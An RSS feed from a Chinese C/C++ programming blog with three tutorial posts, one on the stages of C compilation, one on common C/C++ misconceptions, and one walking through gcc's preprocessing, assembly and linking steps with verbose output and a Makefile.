<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>温室小花.技术.博客 --纯粹的unix技术博客 &#187; c/c++</title>
	<atom:link href="http://www.evanjiang.net.cn/archives/category/application-_developmen/c-language/feed" rel="self" type="application/rss+xml" />
	<link>http://www.evanjiang.net.cn</link>
	<description>红颜弹指老，刹那芳华，与其天涯思君，恋恋不舍，莫若相忘于江湖！</description>
	<lastBuildDate>Sun, 05 Sep 2010 14:51:18 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>C语言编译全过程</title>
		<link>http://www.evanjiang.net.cn/archives/974.html</link>
		<comments>http://www.evanjiang.net.cn/archives/974.html#comments</comments>
		<pubDate>Sat, 02 May 2009 14:57:12 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[c/c++]]></category>
		<category><![CDATA[C语言]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=974</guid>
		<description><![CDATA[<p>


 <p>    编译的概念：编译程序读取源程序（字符流），对之进行词法和语法的分析，将高级语言指令转换为功能等效的汇编代码，再由汇编程序转换为机器语言，并且按照操作系统对可执行文件格式的要求链接生成可执行程序。
    编译的完整过程：C源程序－－>预编译处理(.c)－－>编译、优化程序（.s、.asm）－－>汇编程序(.obj、.o、.a、.ko)－－>链接程序（.exe、.elf、.axf等）</p>
<p>1. 编译预处理</p>
<p>    读取c源程序，对其中的伪指令（以#开头的指令）和特殊符号进行处理
伪指令主要包括以下四个方面：
 （1）宏定义指令，如#define Name TokenString，#undef等。
对于前一个伪指令，预编译所要做的是将程序中的所有Name用TokenString替换，但作为字符串常量的 Name则不被替换。对于后者，则将取消对某个宏的定义，使以后该串的出现不再被替换。
 （2）条件编译指令，如#ifdef，#ifndef，#else，#elif，#endif等。
这些伪指令的引入使得程序员可以通过定义不同的宏来决定编译程序对哪些代码进行处理。预编译程序将根据有关的文件，将那些不必要的代码过滤掉
 （3） 头文件包含指令，如#include &#8220;FileName&#8221;或者#include 等。
在头文件中一般用伪指令#define定义了大量的宏（最常见的是字符常量），同时包含有各种外部符号的声明。
    采用头文件的目的主要是为了使某些定义可以供多个不同的C源程序使用。因为在需要用到这些定义的C源程序中，只需加上一条#include语句即可，而不必再在此文件中将这些定义重复一遍。预编译程序将把头文件中的定义统统都加入到它所产生的输出文件中，以供编译程序对之进行处理。
    包含到c源程序中的头文件可以是系统提供的，这些头文件一般被放在/usr/include目录下。在程序中#include它们要使用尖括号（< >）。另外开发人员也可以定义自己的头文件，这些文件一般与c源程序放在同一目录下，此时在#include中要用双引号（&#8221;"）。
 （4）特殊符号，预编译程序可以识别一些特殊的符号。
例如在源程序中出现的LINE标识将被解释为当前行号（十进制数），FILE则被解释为当前被编译的C源程序的名称。预编译程序对于在源程序中出现的这些串将用合适的值进行替换。
   预编译程序所完成的基本上是对源程序的“替代”工作。经过此种替代，生成一个没有宏定义、没有条件编译指令、没有特殊符号的输出文件。这个文件的含义同没有经过预处理的源文件是相同的，但内容有所不同。下一步，此输出文件将作为编译程序的输出而被翻译成为机器指令。</p>
<p> 2. 编译、优化阶段

    经过预编译得到的输出文件中，只有常量；如数字、字符串、变量的定义，以及C语言的关键字，如main,if,else,for,while,{,}, +,-,*,\等等。
    编译程序所要作得工作就是通过词法分析和语法分析，在确认所有的指令都符合语法规则之后，将其翻译成等价的中间代码表示或汇编代码。
    优化处理是编译系统中一项比较艰深的技术。它涉及到的问题不仅同编译技术本身有关，而且同机器的硬件环境也有很大的关系。优化一部分是对中间代码的优化。这种优化不依赖于具体的计算机。另一种优化则主要针对目标代码的生成而进行的。
    [...]]]></description>
			<content:encoded><![CDATA[<p style="float: left;margin: 4px;"><script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 160x600, 创建于 10-2-7 */
google_ad_slot = "8970910006";
google_ad_width = 160;
google_ad_height = 600;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p> <p>    编译的概念：编译程序读取源程序（字符流），对之进行词法和语法的分析，将高级语言指令转换为功能等效的汇编代码，再由汇编程序转换为机器语言，并且按照操作系统对可执行文件格式的要求链接生成可执行程序。<br />
    编译的完整过程：C源程序－－>预编译处理(.c)－－>编译、优化程序（.s、.asm）－－>汇编程序(.obj、.o、.a、.ko)－－>链接程序（.exe、.elf、.axf等）</p>
<p>1. 编译预处理</p>
<p>    读取c源程序，对其中的伪指令（以#开头的指令）和特殊符号进行处理<br />
伪指令主要包括以下四个方面：<br />
 （1）宏定义指令，如#define Name TokenString，#undef等。<br />
对于前一个伪指令，预编译所要做的是将程序中的所有Name用TokenString替换，但作为字符串常量的 Name则不被替换。对于后者，则将取消对某个宏的定义，使以后该串的出现不再被替换。<br />
 （2）条件编译指令，如#ifdef，#ifndef，#else，#elif，#endif等。<br />
这些伪指令的引入使得程序员可以通过定义不同的宏来决定编译程序对哪些代码进行处理。预编译程序将根据有关的文件，将那些不必要的代码过滤掉<br />
 （3） 头文件包含指令，如#include &#8220;FileName&#8221;或者#include <FileName>等。<br />
在头文件中一般用伪指令#define定义了大量的宏（最常见的是字符常量），同时包含有各种外部符号的声明。<br />
    采用头文件的目的主要是为了使某些定义可以供多个不同的C源程序使用。因为在需要用到这些定义的C源程序中，只需加上一条#include语句即可，而不必再在此文件中将这些定义重复一遍。预编译程序将把头文件中的定义统统都加入到它所产生的输出文件中，以供编译程序对之进行处理。<br />
    包含到c源程序中的头文件可以是系统提供的，这些头文件一般被放在/usr/include目录下。在程序中#include它们要使用尖括号（< >）。另外开发人员也可以定义自己的头文件，这些文件一般与c源程序放在同一目录下，此时在#include中要用双引号（&#8221;"）。<br />
 （4）特殊符号，预编译程序可以识别一些特殊的符号。<br />
例如在源程序中出现的LINE标识将被解释为当前行号（十进制数），FILE则被解释为当前被编译的C源程序的名称。预编译程序对于在源程序中出现的这些串将用合适的值进行替换。<br />
   预编译程序所完成的基本上是对源程序的“替代”工作。经过此种替代，生成一个没有宏定义、没有条件编译指令、没有特殊符号的输出文件。这个文件的含义同没有经过预处理的源文件是相同的，但内容有所不同。下一步，此输出文件将作为编译程序的输出而被翻译成为机器指令。</p>
<p> 2. 编译、优化阶段<br />
<span id="more-974"></span><br />
    经过预编译得到的输出文件中，只有常量；如数字、字符串、变量的定义，以及C语言的关键字，如main,if,else,for,while,{,}, +,-,*,\等等。<br />
    编译程序所要作得工作就是通过词法分析和语法分析，在确认所有的指令都符合语法规则之后，将其翻译成等价的中间代码表示或汇编代码。<br />
    优化处理是编译系统中一项比较艰深的技术。它涉及到的问题不仅同编译技术本身有关，而且同机器的硬件环境也有很大的关系。优化一部分是对中间代码的优化。这种优化不依赖于具体的计算机。另一种优化则主要针对目标代码的生成而进行的。<br />
    对于前一种优化，主要的工作是删除公共表达式、循环优化（代码外提、强度削弱、变换循环控制条件、已知量的合并等）、复写传播，以及无用赋值的删除，等等。<br />
后一种类型的优化同机器的硬件结构密切相关，最主要的是考虑是如何充分利用机器的各个硬件寄存器存放的有关变量的值，以减少对于内存的访问次数。另外，如何根据机器硬件执行指令的特点（如流水线、RISC、CISC、VLIW等）而对指令进行一些调整使目标代码比较短，执行的效率比较高，也是一个重要的研究课题。<br />
    经过优化得到的汇编代码必须经过汇编程序的汇编转换成相应的机器指令，方可能被机器执行。</p>
<p>  3. 汇编过程<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
    汇编过程实际上指把汇编语言代码翻译成目标机器指令的过程。对于被翻译系统处理的每一个C语言源程序，都将最终经过这一处理而得到相应的目标文件。目标文件中所存放的也就是与源程序等效的目标的机器语言代码。<br />
 目标文件由段组成。通常一个目标文件中至少有两个段：<br />
    代码段：该段中所包含的主要是程序的指令。该段一般是可读和可执行的，但一般却不可写。<br />
    数据段：主要存放程序中要用到的各种全局变量或静态的数据。一般数据段都是可读，可写，可执行的。<br />
 UNIX环境下主要有三种类型的目标文件：<br />
 （1）可重定位文件<br />
其中包含有适合于其它目标文件链接来创建一个可执行的或者共享的目标文件的代码和数据。<br />
 （2）共享的目标文件<br />
   这种文件存放了适合于在两种上下文里链接的代码和数据。<br />
   第一种是链接程序可把它与其它可重定位文件及共享的目标文件一起处理来创建另一个 目标文件；<br />
  第二种是动态链接程序将它与另一个可执行文件及其它的共享目标文件结合到一起，创建一个进程映象。<br />
（3）可执行文件<br />
    它包含了一个可以被操作系统创建一个进程来执行之的文件。<br />
汇编程序生成的实际上是第一种类型的目标文件。对于后两种还需要其他的一些处理方能得到，这个就是链接程序的工作了。</p>
<p>  4. 链接程序</p>
<p>    由汇编程序生成的目标文件并不能立即就被执行，其中可能还有许多没有解决<br />
的问题。<br />
    例如，某个源文件中的函数可能引用了另一个源文件中定义的某个符号（如变量或者函数调用等）；在程序中可能调用了某个库文件中的函数，等等。所有的这些问题，都需要经链接程序的处理方能得以解决。<br />
    链接程序的主要工作就是将有关的目标文件彼此相连接，也即将在一个文件中引用的符号同该符号在另外一个文件中的定义连接起来，使得所有的这些目标文件成为一个能够诶操作系统装入执行的统一整体。<br />
    根据开发人员指定的同库函数的链接方式的不同，链接处理可分为两种：<br />
 （1）静态链接<br />
    在这种链接方式下，函数的代码将从其所在地静态链接库中被拷贝到最终的可执行程序中。这样该程序在被执行时这些代码将被装入到该进程的虚拟地址空间中。静态链接库实际上是一个目标文件的集合，其中的每个文件含有库中的一个或者一组相关函数的代码。<br />
 （2） 动态链接<br />
    在此种方式下，函数的代码被放到称作是动态链接库或共享对象的某个目标文件中。链接程序此时所作的只是在最终的可执行程序中记录下共享对象的名字以及其它少量的登记信息。在此可执行文件被执行时，动态链接库的全部内容将被映射到运行时相应进程的虚地址空间。动态链接程序将根据可执行程序中记录的信息找到相应的函数代码。<br />
    对于可执行文件中的函数调用，可分别采用动态链接或静态链接的方法。使用动态链接能够使最终的可执行文件比较短小，并且当共享对象被多个进程使用时能节约一些内存，因为在内存中只需要保存一份此共享对象的代码。但并不是使用动态链接就一定比使用静态链接要优越。在某些情况下动态链接可能带来一些性能上损害。<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
总结：<br />
    C语言编译的整个过程是非常复杂的，里面涉及到的编译器知识、硬件知识、工具链知识都是非常多的，深入了解整个编译过程对工程师理解应用程序的编写是有很大帮助的，希望大家可以多了解一些，在遇到问题时多思考、多实践。<br />
    一般情况下，我们只需要知道分成编译和连接两个阶段，编译阶段将源程序（*.c)转换成为目标代码（，一般是obj文件，至于具体过程就是上面说的那些阶段），连接阶段是把源程序转换成的目标代码（obj文件）与你程序里面调用的库函数对应的代码连接起来形成对应的可执行文件（exe文件）就可以了，其他的都需要在实践中多多体会才能有更深的理解。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/974.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CC++ 常见误区</title>
		<link>http://www.evanjiang.net.cn/archives/907.html</link>
		<comments>http://www.evanjiang.net.cn/archives/907.html#comments</comments>
		<pubDate>Sun, 12 Apr 2009 00:37:09 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[c/c++]]></category>
		<category><![CDATA[C/C++ 常见误区]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=907</guid>
		<description><![CDATA[<p style="float: right;margin: 4px;">


</p> <p>1.C++虽然主要是以C的基础发展起来的一门新语言，但她不是C的替代品，不是C的升级，C++和C是兄弟关系。没有谁比谁先进的说法，更重要的一点是C和C++各自的标准委员会是独立的，最新的C++标准是C++98，最新的C标准是C99。因此也没有先学C再说C++的说法，也不再（注意这个&#8221;不再&#8221;）有C++语法是C语法的超集的说法。</p>
<p>2.C++/CLI 和C# 是微软的，它们与C和C++没有任何关系，虽然部分语法相似。但哪两种语言不相似呢？都是abc这26个字母。</p>
<p>3. 不要使用TC/TC++/BC/CB等古老的编译器来学习C/C++，因为它们太古老了，不支持新的C/C++标准。不要使用CBX/VC++6.0/VC2005等对C/C++标准支持不好的编译器，虽然这些编译器适合工作，但不适合学习，因为它们中的语法陷阱很多。记住唯一适合学习的编译器是gcc/mingw。[antigloss注：Dev-C++ 使用的编译器就是gcc &#038;g++]</p>
<p>4. 不要用&#8221;"代替来包含系统头文件，虽然有些编译器允许你这样做，但它不符合C/C++标准。
错误的示例：#include &#8220;stdio.h&#8221;，#include &#8220;iostream&#8221;。[antigloss注： 用于包含标准头文件和系统头文件，"" 用于包含自定义头文件。标准似乎没有明确规定不准用 "" 包含标准头文件和系统头文件。使用 "" 包含标准头文件或者系统头文件只能说是一种不良风格。]</p>
<p>5. 不要将main函数的返回类型定义为void，虽然有些编译器允许你这样做，但它不符合C/C++标准。不要将函数的int返回类型省略不写，在C++中要求编译器至少给一个警告。错误的示例：voidmain() {}，main() {} [antigloss注：C99和C++98都要求编译器对省略int至少发出一个警告]</p>
<p>6. 不要把VC++中的 #include &#8220;stdafx.h&#8221; 贴出来，它是预编译头文件。如同上菜时不要把厨师也放到托盘中。</p>
<p>7. [C++]不要#include ，不要#include ，因为它们已经被C++标准明确的废弃了，请改为 #include  和 #include 。规则就是：
   a. 如果这个头文件是旧C++特有的，那么去掉.h后缀，并放入std名字空间，
        比如iostream.h 变为iostream。
   b. 如果这个头文件是C也有的，那么去掉.h后缀，增加一个c前缀，比如string.h
    [...]]]></description>
			<content:encoded><![CDATA[<p>1.C++虽然主要是以C的基础发展起来的一门新语言，但她不是C的替代品，不是C的升级，C++和C是兄弟关系。没有谁比谁先进的说法，更重要的一点是C和C++各自的标准委员会是独立的，最新的C++标准是C++98，最新的C标准是C99。因此也没有先学C再说C++的说法，也不再（注意这个&#8221;不再&#8221;）有C++语法是C语法的超集的说法。</p>
<p>2.C++/CLI 和C# 是微软的，它们与C和C++没有任何关系，虽然部分语法相似。但哪两种语言不相似呢？都是abc这26个字母。</p>
<p>3. 不要使用TC/TC++/BC/CB等古老的编译器来学习C/C++，因为它们太古老了，不支持新的C/C++标准。不要使用CBX/VC++6.0/VC2005等对C/C++标准支持不好的编译器，虽然这些编译器适合工作，但不适合学习，因为它们中的语法陷阱很多。记住唯一适合学习的编译器是gcc/mingw。[antigloss注：Dev-C++ 使用的编译器就是gcc &#038;g++]</p>
<p>4. 不要用&#8221;"代替<>来包含系统头文件，虽然有些编译器允许你这样做，但它不符合C/C++标准。<br />
错误的示例：#include &#8220;stdio.h&#8221;，#include &#8220;iostream&#8221;。[antigloss注：<> 用于包含标准头文件和系统头文件，"" 用于包含自定义头文件。标准似乎没有明确规定不准用 "" 包含标准头文件和系统头文件。使用 "" 包含标准头文件或者系统头文件只能说是一种不良风格。]</p>
<p>5. 不要将main函数的返回类型定义为void，虽然有些编译器允许你这样做，但它不符合C/C++标准。不要将函数的int返回类型省略不写，在C++中要求编译器至少给一个警告。错误的示例：voidmain() {}，main() {} [antigloss注：C99和C++98都要求编译器对省略int至少发出一个警告]</p>
<p>6. 不要把VC++中的 #include &#8220;stdafx.h&#8221; 贴出来，它是预编译头文件。如同上菜时不要把厨师也放到托盘中。</p>
<p>7. [C++]不要#include <iostream.h>，不要#include <string.h>，因为它们已经被C++标准明确的废弃了，请改为 #include <iostream> 和 #include <cstring>。规则就是：<br />
   a. 如果这个头文件是旧C++特有的，那么去掉.h后缀，并放入std名字空间，<br />
        比如iostream.h 变为iostream。<br />
   b. 如果这个头文件是C也有的，那么去掉.h后缀，增加一个c前缀，比如string.h<br />
        变为cstring；stdio.h 变为cstdio, 等等。<br />
BTW：不要把string、cstring、string.h三个头文件搞混淆<br />
BTW：windows.h不是C/C++的标准文件，因此它的命名C/C++不管。<br />
<span id="more-907"></span><br />
8. 不要再写char*p = &#8220;XXX&#8221; 这种语句，要写成constchar*p = &#8220;XXX&#8221;，编译器之所以让前者通过编译是为了兼容以前的大量的旧代码。<br />
BTW：constTYPE*p 和TYPEconst*p 是一样的，风格不同而已。<br />
BTW：C语言中也有const关键字。 </p>
<p>9. 不要在同一条语句中包含一个变量的多个++/&#8211;，因为它们的解析在C/C++标准中没有规定，完全取决于编译器的个人行为。</p>
<p>10.C/C++ 是平台无关性语言，因此系统相关的process/GUI 等不在标准C/C++ 库中。比如graphics.h 和windows.h 等是由某个编译器提供的，而不是由C/C++ 提供的。</p>
<p>11.C/C++只是语言，而且是平台无关性语言。论坛上有部分人甚至认为C就是dos，C++就是windows，那么请问linux是什么？<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
12.[C++]面向对象曾经是设计Cwithclass（C++的前身）的主要目的，但C++不是，C++是一个多典范语言。主要支持过程调用、基于对象、面向对象、泛式编程这四种编程典范。当然还支持functional,generative,metaprogramming等典范。</p>
<p>13. 语法学家不是文学家，所以当你学会了一门计算机语言时，你还需要学习数据机构和算法，还需要掌握工具和平台API的用法。</p>
<p>14.C/C++ 是通用语言，因此语法很复杂，你应当裁减成适合你自己的语法集合，比如裁减成betterC 和ADT。</p>
<p>15.C/C++是通用语言，因此只含通用的库，你应该丰富自己需要的库，比如汽车工业协会有自己的C/C++函数/类/模板库。<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/907.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>C/C++程序编译步骤详解</title>
		<link>http://www.evanjiang.net.cn/archives/748.html</link>
		<comments>http://www.evanjiang.net.cn/archives/748.html#comments</comments>
		<pubDate>Fri, 06 Mar 2009 10:14:37 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[c/c++]]></category>
		<category><![CDATA[redhat linux]]></category>
		<category><![CDATA[C/C++ 程序 编译步骤 详解]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=748</guid>
		<description><![CDATA[<p>C/C++语言很多人都比较熟悉，这基本上是每位大学生必学的一门编程语言，通常还都是作为程序设计入门语言学的，并且课程大多安排在大一。刚上大学，学习也比较认真，用心。所以，C/C++语言掌握地也都不错，不用说编译程序，就是写个上几百行的程序都不在话下，但是他们真的知道C/C++程序编译的步骤么？</p>
<p>我想很多人都不甚清楚，如果他接下来学过“编译原理”，也许能说个大概。VC的“舒适”开发环境屏蔽了很多编译的细节，这无疑降低了初学者的入门门槛，但是也“剥夺”了他们“知其所以然”的权利，致使很多东西只能死记硬背，遇到相关问题就“丈二”。实际上，我也是在学习Linux环境下编程的过程中才逐渐弄清楚C/C++源代码是如何一步步变成可执行文件的。</p>
<p>总体来说，C/C++源代码要经过：预处理、编译、汇编和连接四步才能变成相应平台下的可执行文件。大多数时候，程序员通过一个命令就能完成上述四个步骤。比如下面这段C的“Hello world！”代码:</p>
<p>File: hw.c</p>
<p>#include </p>
<p>int main(int argc, char *argv[])
{
printf(&#8220;Hello World!\n&#8221;);</p>
<p>return 0;
}</p>
<p>如果用gcc编译，只需要一个命令就可以生成可执行文件hw:</p>
<p>xiaosuo@gentux hw $ gcc -o hw hw.c</p>
<p>xiaosuo@gentux hw $ ./hw Hello World!
</p>
<p>我们可以用-v参数来看看gcc到底在背后都做了些什么动作:</p>
<p>Reading specs from /usr/lib/gcc/i686-pc-linux-gnu/3.4.6/specs
Configured with: /var/tmp/portage/sys-devel/gcc-3.4.6-r2/work/gcc-3.4.6/configure &#8211;prefix=/usr &#8211;bindir=/usr/i686-pc-linux-gnu/gcc-bin/3.4.6 &#8211;includedir=/usr/lib/gcc/i686-pc-linux-gnu/3.4.6/include &#8211;datadir=/usr/share/gcc-data/i686-pc-linux-gnu/3.4.6 &#8211;mandir=/usr/share/gcc-data/i686-pc-linux-gnu/3.4.6/man &#8211;infodir=/usr/share/gcc-data/i686-pc-linux-gnu/3.4.6/info &#8211;with-gxx-include-dir=/usr/lib/gcc/i686-pc-linux-gnu/3.4.6/include/g++-v3 &#8211;host=i686-pc-linux-gnu &#8211;build=i686-pc-linux-gnu &#8211;disable-altivec &#8211;enable-nls &#8211;without-included-gettext &#8211;with-system-zlib &#8211;disable-checking &#8211;disable-werror &#8211;enable-secureplt &#8211;disable-libunwind-exceptions &#8211;disable-multilib &#8211;disable-libgcj &#8211;enable-languages=c,c++,f77 &#8211;enable-shared &#8211;enable-threads=posix &#8211;enable-__cxa_atexit &#8211;enable-clocale=gnu
Thread model: posix
gcc version 3.4.6 (Gentoo [...]]]></description>
			<content:encoded><![CDATA[<p><span style="color: #000000;">C/C++语言很多人都比较熟悉，这基本上是每位大学生必学的一门编程语言，通常还都是作为程序设计入门语言学的，并且课程大多安排在大一。刚上大学，学习也比较认真，用心。所以，C/C++语言掌握地也都不错，不用说编译程序，就是写个上几百行的程序都不在话下，但是他们真的知道C/C++程序编译的步骤么？</span></p>
<p><span style="color: #000000;">我想很多人都不甚清楚，如果他接下来学过“编译原理”，也许能说个大概。VC的“舒适”开发环境屏蔽了很多编译的细节，这无疑降低了初学者的入门门槛，但是也“剥夺”了他们“知其所以然”的权利，致使很多东西只能死记硬背，遇到相关问题就“丈二”。实际上，我也是在学习Linux环境下编程的过程中才逐渐弄清楚C/C++源代码是如何一步步变成可执行文件的。</span></p>
<p><span style="color: #000000;">总体来说，C/C++源代码要经过：预处理、编译、汇编和连接四步才能变成相应平台下的可执行文件。大多数时候，程序员通过一个命令就能完成上述四个步骤。比如下面这段C的“Hello world！”代码:</span></p>
<p><span style="color: #000000;">File: hw.c</span></p>
<p><span style="color: #000000;">#include </span></p>
<p><span style="color: #000000;">int main(int argc, char *argv[])<br />
{<br />
printf(&#8220;Hello World!\n&#8221;);</span></p>
<p><span style="color: #000000;">return 0;<br />
}</span></p>
<p><span style="color: #000000;">如果用gcc编译，只需要一个命令就可以生成可执行文件hw:</span></p>
<p><span style="color: #000000;">xiaosuo@gentux hw $ gcc -o hw hw.c</span></p>
<p><span style="color: #000000;">xiaosuo@gentux hw $ ./hw Hello World!<br />
<span id="more-748"></span></span></p>
<p><span style="color: #000000;">我们可以用-v参数来看看gcc到底在背后都做了些什么动作:</span></p>
<p><span style="color: #000000;">Reading specs from /usr/lib/gcc/i686-pc-linux-gnu/3.4.6/specs<br />
Configured with: /var/tmp/portage/sys-devel/gcc-3.4.6-r2/work/gcc-3.4.6/configure &#8211;prefix=/usr &#8211;bindir=/usr/i686-pc-linux-gnu/gcc-bin/3.4.6 &#8211;includedir=/usr/lib/gcc/i686-pc-linux-gnu/3.4.6/include &#8211;datadir=/usr/share/gcc-data/i686-pc-linux-gnu/3.4.6 &#8211;mandir=/usr/share/gcc-data/i686-pc-linux-gnu/3.4.6/man &#8211;infodir=/usr/share/gcc-data/i686-pc-linux-gnu/3.4.6/info &#8211;with-gxx-include-dir=/usr/lib/gcc/i686-pc-linux-gnu/3.4.6/include/g++-v3 &#8211;host=i686-pc-linux-gnu &#8211;build=i686-pc-linux-gnu &#8211;disable-altivec &#8211;enable-nls &#8211;without-included-gettext &#8211;with-system-zlib &#8211;disable-checking &#8211;disable-werror &#8211;enable-secureplt &#8211;disable-libunwind-exceptions &#8211;disable-multilib &#8211;disable-libgcj &#8211;enable-languages=c,c++,f77 &#8211;enable-shared &#8211;enable-threads=posix &#8211;enable-__cxa_atexit &#8211;enable-clocale=gnu<br />
Thread model: posix<br />
gcc version 3.4.6 (Gentoo 3.4.6-r2, ssp-3.4.6-1.0, pie-8.7.10)<br />
/usr/libexec/gcc/i686-pc-linux-gnu/3.4.6/cc1 -quiet -v hw.c -quiet -dumpbase hw.c -mtune=pentiumpro -auxbase hw -version -o /tmp/ccYB6UwR.s<br />
ignoring nonexistent directory &#8220;/usr/local/include&#8221;<br />
ignoring nonexistent directory &#8220;/usr/lib/gcc/i686-pc-linux-gnu/3.4.6/../../../../i686-pc-linux-gnu/include&#8221;<br />
#include &#8220;&#8230;&#8221; search starts here:<br />
#include &lt;&#8230;&gt; search starts here:<br />
/usr/lib/gcc/i686-pc-linux-gnu/3.4.6/include<br />
/usr/include<br />
End of search list.<br />
GNU C version 3.4.6 (Gentoo 3.4.6-r2, ssp-3.4.6-1.0, pie-8.7.10) (i686-pc-linux-gnu)<br />
compiled by GNU C version 3.4.6 (Gentoo 3.4.6-r2, ssp-3.4.6-1.0, pie-8.7.9).<br />
GGC heuristics: &#8211;param ggc-min-expand=81 &#8211;param ggc-min-heapsize=97004<br />
/usr/lib/gcc/i686-pc-linux-gnu/3.4.6/../../../../i686-pc-linux-gnu/bin/as -V -Qy -o /tmp/ccq8uGED.o /tmp/ccYB6UwR.s<br />
GNU assembler version 2.17 (i686-pc-linux-gnu) using BFD version 2.17<br />
/usr/libexec/gcc/i686-pc-linux-gnu/3.4.6/collect2 &#8211;eh-frame-hdr -m elf_i386 -dynamic-linker /lib/ld-linux.so.2 -o hw /usr/lib/gcc/i686-pc-linux-gnu/3.4.6/../../../crt1.o /usr/lib/gcc/i686-pc-linux-gnu/3.4.6/../../../crti.o /usr/lib/gcc/i686-pc-linux-gnu/3.4.6/crtbegin.o -L/usr/lib/gcc/i686-pc-linux-gnu/3.4.6 -L/usr/lib/gcc/i686-pc-linux-gnu/3.4.6 -L/usr/lib/gcc/i686-pc-linux-gnu/3.4.6/../../../../i686-pc-linux-gnu/lib -L/usr/lib/gcc/i686-pc-linux-gnu/3.4.6/../../.. /tmp/ccq8uGED.o -lgcc &#8211;as-needed -lgcc_s &#8211;no-as-needed -lc -lgcc &#8211;as-needed -lgcc_s &#8211;no-as-needed /usr/lib/gcc/i686-pc-linux-gnu/3.4.6/crtend.o /usr/lib/gcc/i686-pc-linux-gnu/3.4.6/../../../crtn.o</span></p>
<p><span style="color: #000000;">稍微整理一下，去掉一些冗余信息后，如下:</span></p>
<p><span style="color: #000000;">cc1 hw.c -o /tmp/ccYB6UwR.s<br />
as -o /tmp/ccq8uGED.o /tmp/ccYB6UwR.s<br />
ld -o hw /tmp/ccq8uGED.o</span></p>
<p><span style="color: #000000;">以上三个命令分别对应于编译步骤中的预处理+编译、汇编和连接。预处理和编译还是放在了一个命令（cc1）中进行的，可以把它再次拆分为以下两步:</span></p>
<p><span style="color: #000000;">cpp -o hw.i hw.c<br />
cc1 hw.i -o /tmp/ccYB6UwR.s</span></p>
<p><span style="color: #000000;">一个精简过的能编译以上hw.c文件的Makefile如下:<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
.PHONY: clean</span></p>
<p><span style="color: #000000;">all: hw</span></p>
<p><span style="color: #000000;">hw: hw.o<br />
ld -dynamic-linker /lib/ld-linux.so.2 -o hw /usr/lib/crt1.o \<br />
/usr/lib/crti.o \<br />
/usr/lib/gcc/i686-pc-linux-gnu/3.4.6/crtbegin.o \<br />
hw.o -lc \<br />
/usr/lib/gcc/i686-pc-linux-gnu/3.4.6/crtend.o \<br />
/usr/lib/crtn.o</span></p>
<p><span style="color: #000000;">hw.o: hw.s<br />
as -o hw.o hw.s</span></p>
<p><span style="color: #000000;">hw.s: hw.i<br />
/usr/libexec/gcc/i686-pc-linux-gnu/3.4.6/cc1 -o hw.s hw.c</span></p>
<p><span style="color: #000000;">hw.i: hw.c<br />
cpp -o hw.i hw.c</span></p>
<p><span style="color: #000000;">clean:<br />
rm -rf hw.i hw.s hw.o</span></p>
<p><span style="color: #000000;">当然，上面Makefile中的一些路径是我系统上的具体情况，你的可能与我的不同。</span></p>
<p><span style="color: #000000;">接下来我们按照编译顺序看看编译器每一步都做了什么。</span></p>
<p><span style="color: #000000;">首先是预处理，预处理后的文件hw.i:</span></p>
<p><span style="color: #000000;"># 1 &#8220;hw.c&#8221;<br />
# 1 &#8220;&#8221;<br />
# 1 &#8220;&#8221;</span></p>
<p><span style="color: #000000;">&#8230;<br />
__extension__ typedef __quad_t __off64_t;<br />
__extension__ typedef int __pid_t;<br />
__extension__ typedef struct { int __val[2]; } __fsid_t;</span></p>
